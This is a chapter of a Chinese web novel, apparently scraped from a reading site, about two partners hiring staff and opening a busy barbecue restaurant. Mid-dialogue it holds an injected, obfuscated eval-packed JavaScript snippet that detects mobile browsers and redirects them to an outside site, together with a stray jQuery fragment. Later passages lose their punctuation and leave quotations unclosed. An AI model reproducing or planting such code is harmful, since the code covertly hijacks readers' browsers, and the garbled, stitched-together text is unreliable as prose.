曹永年介绍的人是位三十多岁的大嫂,姓阮，她男人以前是机械厂运输队的司机。


    只是后来意外受伤，挺严重的,丧失了工作能力,成了药罐子。


    医药费虽然有厂里负责，又给了一笔数额不少的补偿金，可阮大嫂没有工作,家里孩子又多，现在日子有些捉襟见肘。


    也是当时孩子小不能接班，她一时糊涂把自家男人的工作给卖了，如今钱快花完了，工作却不好找。


    那么多回城知青在排队等着呢,即使有工作岗位也轮不到她。


    姜广军了解完这些，就把她收下了,让她去店里帮乔梁穿肉串,工资暂时是一个月二十块钱,以后看表现再做调整。


    阮大嫂欣然接受，不管干什么都行。


    冯大妈介绍的女同志姓陈，她会做一些家常菜，还有几样简单的面食,工资定的高一些，一个月三十块钱。


    之后姜广军又找来个刚高中毕业的待业小青年，来店里当学徒工。


    这样,基本人员就配齐了,眼下还有一件要紧的事,就是申请营业执照。


    姜广军去工商局打听过,说是上面正在研究,具体条例还没出来，不过应该用不了多久，在他之前有至少十个人在打听这事儿。


    上面现在大力支持搞个体经营，尤其对那些没有工作的无业人员，是个不错的出路。


    不过但想开店，又不想惹上麻烦，就只能再等等，按照正规程序办好手续。


    姜广军运气不错，问完没几天，政策就下来了，他带着乔梁一块去工商局，很顺利的办妥了，经营许可证上是乔梁的名字。


    姜广军是国营单位的在岗职工，他想开饭店，人家不给办营业执照。


    再说这店本来就是以乔梁为主，姜广军平时要上班，没时间参与太多。


    也是乔梁不乐意，加上他手里钱不够，否则完全可以自己开店，不跟姜广军合伙。


    “哥，我这辈子都跟着你跑腿打杂，只要你不嫌我笨就行。”没有他姜哥，就他嘴笨手笨的，想开烧烤店简直做梦。


    乔梁这人一向很有自知之明。


    再说他一个人，没家没媳妇儿的，要那么多钱有啥意思？他才不想单飞呢。


    当然姜广军肯定不会亏待他就是了。


    “要不然这样吧，咱哥俩各拿出两千块钱，当做开店的启动资金，然后五五分账。


    开烧烤店必须得有冰箱，一台要上千块，再就是食材、工具、木炭跟调料之类的，林林总总加起来也不少。


    姜广军在心里默默算着，四千块钱应该差不多。


    “哥，我少要一成吧，没你带着我，我一个人这店开不起来。


    “不要这么说，你有你的长处，再说我平时要上班，以后烧烤店多半都是你守着，五成利润是你应得的。给五成他都感觉是自己占便宜。


    “行了，别推辞，就这么定了。姜广军不容他拒绝的道。


    乔梁只好点点头，同意了，他哥肯定还有别的想法。


    商量好分成的事，其他的就好办了。


    又筹备了几天，十月十号这天，“串串香


    本来想着第一天开业，人不会太多，毕竟没什么知名度。


    姜广军把亲朋好友们叫来，打算借机会聚一下，没想到中午店里爆满。


    不是专门来捧场的熟人，而是鞭炮一响，马上吸引来一帮路人。


    烧烤这项美食目前还没有大范围的流行起来，但不少人听说过或者吃过。


    一时好奇也好，不差钱也罢，见是家烧烤店自然要进来尝一尝。


    地理位置上佳，开业的日子又特意选的星期天，今天街上人特别多，三三两两的，楼下的桌子很快坐满了。


    姜广军装修时为了店里能宽敞些，把一楼原来的隔断墙敲掉了，摆了十二张桌子。


    所以一进门给人感觉特别亮堂，新粉刷过的大白墙，看着就干净，不是胡同里那些苍蝇馆子能比的。


    只是顾客太多，还是一下子涌进来的，让他们有些手忙脚乱，多亏亲戚朋友们在，能搭把手。


    姜广军又点了个炉子，跟着一起烤，于红霞在前面负责招呼客人、点菜、收钱。


    李广成跟李广平当服务生，连姜凤淑姜凤贤姐妹俩都挽起袖子帮忙。


    其他人就在后院洗菜打杂，反正没一个闲着的。


    众人想着过了饭点，客人就会慢慢少了，实际上并没有。


    客人不减反增，而且越来越多，最后连楼上的包房都坐满了。


    有的甚至是全家一块来的就像故意约好了似的今天来吃烧烤。


    姜广军拿起搭在脖子上的毛巾擦了擦汗十月穿单衣都感觉冷的天气他却忙出一脑门子汗一直在不停的翻动、刷油、撒料胳膊都有些酸了。


    “哥你们明天上班剩我自己可咋整啊？”乔梁一脸愁容回头看了一眼店里黑压压的客人心里是真没底。


    他怕自己应付不过来。


    “明天的事呆会儿再说肉还有多少？”


    阮大嫂她们在一直不停的穿着肉串才勉勉强强供得上。


    其他素菜串串卖的也不错冰箱已经空了还有酒水不知道晚上够不够。


    “没了


    天黑后人肯定会变少。


    姜广军噗嗤笑了“让你多点挣钱还叽叽歪歪的没完什么臭毛病你不知道有多少人在羡慕嫉妒咱们吗？”


    乔梁嘿嘿笑了几声自我调侃道：“我这是穷人乍富胆子小冷不丁的有些接不住这突如其来的富贵。”


    没办法以前穷惯了现在有些应接不暇去年卖猪肉一天也没挣过这么多钱。


    他今天一天能挣人家一年的。


    你说这谁敢想吧？


    乔梁说着话手上不停麻利的翻烤着他动作是越来越娴熟唠嗑干活两不耽误。


    “习惯了就好。”姜广军笑了笑他没说的是这才哪到哪儿。


    挣大钱的日子还在后头呢。


    不过按照现在的情形看晚上的顾客恐怕会更多他得抽空去买些肉跟其他食材备上。


    “姜老板


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151314|125122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恭喜发财！”


    姜广军正寻思着顾砚宽来了开吉普车过来的下车就笑着朝他抱拳。


    “哎呀宽哥你来的正好赶紧给老弟帮帮忙店里食材不够了。”有吉普车可方便他了。


    姜广军是一点不客气“宽哥你看看店里的人这才几点还满着呢。”


    顾砚宽看见了他低头看了看手表才下午两点多离关店正经还早呢。


    “没问题你需要什么列个单子给我保证给你弄来。”


    一点


    食材而已，这在他看来不过是小事儿一桩。


    姜广军赶紧让于红霞列单子，缺什么他媳妇儿最清楚。


    于红霞都记着呢，麻溜把单子写好，交给顾砚宽，然后摸了一下手腕。


    “怎么了？姜广军瞧见了，关心的问道：“累就去歇一会儿。


    “不累，我手表忘记放哪儿了。


    她每次想看时间，都会先摸下手腕，今天摸空了好几次。


    “在家呢，我记得你早上放茶几上了。


    于红霞点点头，门口又来客人了，可是店里没地方了，姜广军想办法加了张桌子，后面再有人来只能等着。


    有顾砚宽帮忙，食材补上的很快，晚上客流高峰顺利的应对了过去。


    等送走最后一桌客人，一众人都累瘫了，一个个东倒西歪的。


    他们是真可怜啊，大早上乐颠颠点来了，以为能有好吃的，结果给人家当了一天免费服务员，连饭都没吃上几口。


    也不知道姜老板给不给点补偿，至于吃饭，还是算了吧。


    这一天忙的他们肚子一点都不饿，歇会儿赶紧各回各家，实在顶不住了，早点回去休息，明天还要上班呢。


    姜广军还不能走，他得安排一下，明天客人可能会更多。


    开业头几天，很多人是图新鲜，还有喜欢凑热闹的，店里人越多他越喜欢挤。


    临时雇服务员是来不及，只能找熟人帮几天，再给董铭扬叫来，卤蛋先别卖了。


    姜广军还打算明天跟单位请假，他若不在，乔梁一个人绝对应付不过来。


    曹永年在一旁听着没吱声，他是亲眼看着，今天店里有多忙。


    他明天不去运输公司了，过来帮忙。


    别看他老胳膊老腿的，什么都能干，肯定比临时找来的人强。


    “广军，我明天跟你一块去黑市看看。


    姜广军笑着点点头，“麻烦二姨父了，你明天帮我买青菜。


    青菜需要的还不少，他明天有卤肉那一摊子事，有些分身乏术，主要还是交通工具不方便，这要是有辆汽车。


    姜广军摇摇头，现在想汽车的事太早，以后再说吧。


    这边，于红霞到家，看到手表在茶几上放着，心里松了口气。


    这表是结婚时买的，不值什么钱，但有纪念意义，可能今天早上去店里，走的太着急了，忘在家里了。


    于红霞把手表收起来，照顾孩子们洗漱，然后上楼睡觉，明天还有的忙呢。


    作者有话要说